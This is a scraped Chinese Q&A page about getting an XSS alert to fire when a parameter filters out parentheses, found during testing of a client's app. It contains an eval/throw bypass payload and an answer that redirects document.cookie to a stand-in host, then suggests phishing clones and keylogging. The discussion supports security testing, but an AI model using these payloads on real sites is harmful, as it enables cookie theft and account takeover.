不带括号的 Javascript 警报

Posted

技术标签:

【中文标题】不带括号的 Javascript 警报【英文标题】:Javascript alert without parenthesis 【发布时间】:2019-03-11 17:07:19 【问题描述】:

我在客户的应用程序中发现了跨站脚本漏洞。

问题是易受攻击的参数不接受括号。所以像 alert(document.cookie) 这样的东西会因为括号而被拒绝。

我可以使用警报xss 获取 XSS 我已经尝试过下面的代码,但网站重新加载很长时间都失败了,我认为它被拒绝了

window.onerror=eval;throw '=1;alert\u0028document.location\u0029'

我尝试通过链接parentheses alternatives in JS , if any? 但我失败了。 有没有其他选择?

谢谢你

【问题讨论】:

可能***.com/questions/40898632/… 我试过url encode 但没用,知道吗? 是的,我从那个问题得到的代码在那个网站上不起作用 【参考方案1】:

alert 是必要的吗?我知道展示概念证明是很常见的,但是仅仅有一个重定向就足够了吗?

例如:

document.location="https://example.com?cookie="+document.cookie

请务必记住,XSS 实际上并不是弹出警报框,而是执行任意 javascript。真正的攻击者会如何处理您的 XSS 允许的访问权限?

想象一下,在与您的客户类似的域上设置一个相同的站点,并将用户重定向到那里...除了现在您不需要 XSS 并且可以记录击键、要求他们下载文件、尝试浏览器漏洞等.

【讨论】:

以上是关于不带括号的 Javascript 警报的主要内容,如果未能解决你的问题,请参考以下文章

调用不带括号的函数时如何传递参数[Javascript]

JavaScript 函数调用时带括号和不带括号的区别

JavaScript 中怎么不带括号的调用函数

带和不带引号和括号的 setTimeout 之间的区别

带/不带大括号的 C# Switch 语句....有啥区别?

python 类带括号和不带括号的区别